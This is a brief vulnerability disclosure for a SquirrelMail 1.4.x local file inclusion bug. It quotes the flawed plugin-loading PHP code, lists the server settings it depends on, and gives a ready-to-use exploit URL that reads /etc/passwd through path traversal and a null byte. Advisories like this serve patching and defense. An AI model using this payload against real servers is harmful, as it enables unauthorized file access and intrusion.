Squirrelmail local file inclusion bug in functions/plugin.php .
Tested on the latest 1.4.x version.
No authentication needed.
if (isset($plugins) && is_array($plugins)) {
foreach ($plugins as $name) {
use_plugin($name);
}
...
function use_plugin ($name) {
if (file_exists(SM_PATH . "plugins/$name/setup.php")) {
include_once(SM_PATH . "plugins/$name/setup.php");
$function = "squirrelmail_plugin_init_$name";
if (function_exists($function)) {
$function();
}
}
}
....
If register_globals is on we can control the $name variable.
In order to avoid errors SM_PATH needs to be defined. Exploitation
is done through src/redirect.php ( it includes functions/plugin.php
prior to authentication and it defines SM_PATH ).
magic_quotes_gpc needs to be off.
Example:
http://[host]/[squirrelmail
dir]/src/redirect.php?plugins[]=../../../../etc/passwd%00
